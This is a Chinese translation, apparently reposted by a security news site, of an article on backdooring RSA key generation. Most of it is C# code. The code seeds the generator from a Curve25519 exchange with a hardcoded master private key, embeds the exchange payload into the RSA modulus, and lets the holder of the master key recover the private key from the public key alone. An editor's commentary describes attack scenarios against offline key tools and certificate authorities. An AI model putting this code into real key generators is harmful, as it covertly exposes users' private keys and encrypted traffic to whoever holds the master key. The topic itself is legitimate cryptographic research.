你竟然在公钥中下毒!——如何在RSA公钥中添加后门
原文:http://www.hackdig.com/?01/hack-17893.htm
分享到:
当我知道它是如何运行时,我惊得下巴都掉了。这是一个非常简单的手法,但这篇文章会颠覆你之前对RSA的看法。这并不是一种劫持RSA的方法,但它会为你的想象插上翅膀。
假设你可以修改RSA公钥的生成器,而且你想给别人拿到私钥的机会但不借助因式分解以及其他量子计算机的力量。你会怎么做?
我会用C#、BouncyCastle 以及Chaos.NaCl(这个库实现了Curve25519)。
1)伪随机数生成器(PRNG)
我们需要一个用私密值进行初始化的PRNG。我将会在CTR模式中使用AES。
using System;
using System.ComponentModel;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Prng;
using Org.BouncyCastle.Security;
namespace RsaBackdoor.Backdoor
{
class SeededGenerator:IRandomGenerator
{
private readonly AesFastEngine _engine = new AesFastEngine();
private readonly byte[] _counter = new byte[16];
private readonly byte[] _buf = new byte[16];
private int bufOffset = 0;
public SeededGenerator(byte[] key)
{
_engine.Init(true, new KeyParameter(key));
MakeBytes();
}
private void MakeBytes()
{
bufOffset = 0;
_engine.ProcessBlock(_counter, 0, _buf, 0);
IncrementCounter();
}
public void IncrementCounter()
{
for (int i = 0; i < _counter.Length; i++)
{
_counter[i]++;
if (_counter[i] != 0)
break;
}
}
public void AddSeedMaterial(byte[] seed)
{
}
public void AddSeedMaterial(long seed)
{
}
public void NextBytes(byte[] bytes)
{
NextBytes(bytes, 0, bytes.Length);
}
public void NextBytes(byte[] bytes, int start, int len)
{
var count = 0;
while (count < len)
{
var amount = Math.Min(_buf.Length - bufOffset, len - count);
Array.Copy(_buf, bufOffset, bytes, start + count, amount);
count += amount;
bufOffset += amount;
if (bufOffset >= _buf.Length)
{
MakeBytes();
}
}
}
}
}
2) 让我们回忆一下强大的Curve25519,也就是任何32位的序列对于私钥来说都是有效的。同时,公钥也是32位。让我们预先生成一下这个主密钥并且将它分配给一个常量:
private const string MY_PRIVATE_STR = "BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8";
private static readonly byte[] MY_PRIVATE = StringToByteArray(MY_PRIVATE_STR);
对于生成的每对RSA公钥,我们同时生成一对Curve25519随机密钥,然后从这对密钥以及我们的公钥中计算出共享的秘密和私钥。这个私密值是第一步中的PRNG。
PRNG的种子生成:
private void MakeSeedAndPayload(out byte[] seed, out byte[] payload)
{
var rnd = new SecureRandom();
var priv = new byte[32];
rnd.NextBytes(priv);
payload = MontgomeryCurve25519.GetPublicKey(priv);
seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
}
Curve25519的公钥将用于计算这个种子是一个有效负载。我们将试着把它放入RSA公钥。
3)通过PRNG以及我们的种子生成RSA密钥对。
var publicExponent = new BigInteger("10001", 16);
var keygen = new RsaKeyPairGenerator();
keygen.Init(new RsaKeyGenerationParameters(publicExponent, new SecureRandom(new SeededGenerator(seed)), 2048, 80));
var pair = keygen.GenerateKeyPair();
可以说基于密钥的RSA总是两个质数p跟q。它们的产出叫做«modulus»,并且是公钥的一部分。在这种情况下,两个2048二进制数字会通过我们的PRNG进行搜索并且从中会搭建一个单独密钥对。
4)现在,用我们的有效负载来代替p*q系数中的一些字节。可以代替最高有效的字节,这样它们就不会被删除。80字节的偏移应该够了。
var paramz = ((RsaPrivateCrtKeyParameters) pair.Private);
var modulus = paramz.Modulus.ToByteArray();
Replace(modulus, payload, 80);
这样,我们拥有了一个新的n' 模数,并且需要重新生成余下的参数,将n' 考虑在内:
5.1) 计算新的q'。我们不知道在目前状况下会出现什么情况,但结果还不至于糟糕。
q' = n' / p
5.2)查找一个新的基于q'的质数。当我们找到它时,最低有效二进制数字将被删除。最高有效二进制数字不会变。这正是我们所需要的。
var p = paramz.P;
var n = new BigInteger(modulus);
var preQ = n.Divide(p);
var q = preQ.NextProbablePrime();
一旦我们有了新的q,我们会再次计算除了p之外的所有密钥对参数。
public AsymmetricCipherKeyPair ComposeKeyPair(BigInteger p, BigInteger q, BigInteger publicExponent)
{
if (p.Max(q).Equals(q))
{
var tmp = p;
p = q;
q = tmp;
}
var modulus = p.Multiply(q);
var p1 = p.Subtract(BigInteger.One);
var q1 = q.Subtract(BigInteger.One);
var phi = p1.Multiply(q1);
var privateExponent = publicExponent.ModInverse(phi);
var dP = privateExponent.Remainder(p1);
var dQ = privateExponent.Remainder(q1);
var qInv = q.ModInverse(p);
var priv = new RsaPrivateCrtKeyParameters(modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv);
return new AsymmetricCipherKeyPair(new RsaKeyParameters(false, priv.Modulus, publicExponent), priv);
}
结果,我们得到了一个有效的密钥对,这个密钥对的公钥中包含我们的有效负载——即如何获取种子以及私钥本身的信息。
我们可以提取有效负载:
public byte[] ExtractPayload(RsaKeyParameters pub)
{
var modulus = pub.Modulus.ToByteArray();
var payload = new byte[32];
Array.Copy(modulus, 80, payload, 0, 32);
return payload;
}
计算种子并将相同的流程再重复一次以便得到这个私钥:
public AsymmetricCipherKeyPair BuildKeyFromPayload(byte[] payload)
{
var seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
return BuildKey(seed, payload);
}
这样,通过拥有一个Curve25519的私钥,只有我们能够获取任何被装后门的RSA的一个私钥。
这能用在什么地方?任何地方!你将永远无法证明银行颁发给你的密钥对没有此类标记。想要证明是不可能的!所以,你可以自己生成密钥。因此,如果可能的话,要停止使用RSA。
感谢https://gist.github.com/ryancdotorg提供的原始文件https://gist.github.com/ryancdotorg/18235723e926be0afbdd
小编解读:
作者没有指出这种攻击的详细攻击手段。这种攻击是生成看上去完全随机的RSA密钥对。但是公钥中存在信息可以令攻击者计算出私钥。存在两种攻击模式:
1. 如果你自己使用离线软件生成RSA密钥对,程序产生看上去是随机的密钥对。你相信一个离线软件是不会泄漏你的私钥,因此你公布你的公钥来给其他人用来验证你的签名。攻击者就可以根据你公开的公钥算出私钥。他们就可以用这个私钥做任何事。
2. 假如说NSA要求SSL证书提供商在key生成算法中加入后门。这个是很容易的,不需要跟NSA有任何联系。NSA只需“看一眼”公钥证书就能计算出私钥证书。所有通过SSL加密的通讯在攻击者看来就是明文传输。
这种攻击攻击早在非对称算法初期就被发现。不只是RSA存在这个问题。所有算法都可以留后门。
本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:http://kukuruku.co/hub/infosec/backdoor-in-a-public-rsa-key
你竟然在公钥中下毒!——如何在RSA公钥中添加后门的更多相关文章
- 如何在VUE项目中添加ESLint
如何在VUE项目中添加ESLint 1. 首先在项目的根目录下 新建 .eslintrc.js文件,其配置规则可以如下:(自己小整理了一份),所有的代码如下: // https://eslint.or ...
- 如何在Android Studio中添加注释模板信息?
如何在Android Studio中添加注释模板信息? 在开发程序的时候,我们一般都会给文件自动添加上一些关于文件的注释信息,比如开发者的名字,开发的时间,开发者的联系方式等等.那么在android ...
- 文章翻译:ABP如何在EF core中添加数据过滤器
原文地址:https://aspnetboilerplate.com/Pages/Documents/Articles%5CHow-To%5Cadd-custom-data-filter-ef-cor ...
- 如何在select下拉列表中添加复选框?
近来在给一个公司做考试系统的项目,遇到的问题不少,但其中的几个让我对表单的使用颇为感兴趣,前端程序员都知道,下拉列表有select标签,复选框有checkbox,但是两者合在一起却少有人去研究,当时接 ...
- 如何在RCP程序中添加一个banner栏
前言:这段时间还算比较空闲,我准备把过去做过的有些形形色色,甚至有些奇怪的研究总结一下,也许刚好有人用的着也不一定,不枉为之抓耳挠腮的时光和浪费的电力.以前有个客户提出要在RCP程序中添加一个bann ...
- 如何在Android Studio中添加RecyclerView-v7支持包
1.打开SDK Manager,在Extras树下找到Android Support Library,下载好支持包.RecyclerView在v7-21版本就出来了.我这里不用更新了,说明是最新的,怎 ...
- [译]如何在Unity编辑器中添加你自己的工具
在这篇教程中你会学习如何扩展你的Unity3D编辑器,以便在你的项目中更好的使用它.你将会学习如何绘制你自己的gizmo,用代码来实现创建和删除物体,创建编辑器窗口,使用组件,并且允许用户撤销他们所作 ...
- 如何在Sublime Text中添加代码片段
我们在编写代码的时候,总会遇到一些需要反复使用的代码片段.这时候就需要反复的复制和黏贴,大大影响效率.我们利用Sublime Text的snippet(代码片段)功能,就能很好的解决这一问题.通俗的讲 ...
- 如何在web项目中添加javamelody monitoring 监控。
1.在工程的maven pom中添加依赖javamelody-core <!-- monitoring监控 --><!-- https://mvnrepository.com/art ...
随机推荐
- Android proguard-rules.pro 混淆模板
在../sdk/tools/proguard/目录下,其中包含了android最基本的混淆 ..\proguard-rules.pro 混淆文件配置模板: ############# 混淆模板 ## ...
- bzoj 4332 FFT型的快速幂(需要强有力的推导公式能力)
有n个小朋友,m颗糖,你要把所有糖果分给这些小朋友. 规则第 i 个小朋友没有糖果,那么他之后的小朋友都没有糖果..如果一个小朋友分到了 xx 个糖果,那么的他的权值是 f(x) = ox^2 + ...
- 【Asp.net入门02】搭建Asp.net开发环境
本节主要讲解: 什么是asp.net asp.net开发和运行环境介绍 1.什么是ASP.NET Asp.net不是一种编程语言,而是一种开发技术.我们可以利用这种技术所提供的类库,使用C#或者VB编 ...
- Tweepy1——抓取Twitter数据
sklearn实战-乳腺癌细胞数据挖掘 https://study.163.com/course/introduction.htm?courseId=1005269003&utm_campai ...
- Casting a Classifier into a Fully Convolutional Network将带全连接的网络做成全卷积网络
详见:http://nbviewer.jupyter.org/github/BVLC/caffe/blob/master/examples/net_surgery.ipynb 假设使用标准的caffe ...
- numpy取反操作符和Boolean类型
numpy~运算符和Boolean类型变量 觉得有用的话,欢迎一起讨论相互学习~Follow Me numpy中取反运算符~可以将Boolean类型值取反,这在使用boolean类型数组选择数组中固定 ...
- Mongodb 笔记06 副本集的组成、从应用程序连接副本集、管理
副本集的组成 1. 同步:MongoDB的复制功能是使用操作日志oplog实现的,操作日志包含了主节点的每一次写操作.oplog是主节点的local数据库中的一个固定集合.备份节点通过查询整个集合就可 ...
- 【测试笔记】Redis学习笔记(十二)性能测试
http://blog.csdn.net/yangcs2009/article/details/50781530 Redis测试服务器一 redis_version:2.8.4 www@iZ23s8a ...
- ZeroMQ API(二) 上下文
1.创建上下文 1.1 zmq_ctx_new(3) 1.1.1 名称 zmq_ctx_new - 创建新的ZMQ上下文 1.1.2 概要 void * zmq_ctx_new(); 1.1.3 描述 ...
- 100 Most Popular Machine Learning Video Talks
100 Most Popular Machine Learning Video Talks 26971 views, 1:00:45, Gaussian Process Basics, David ...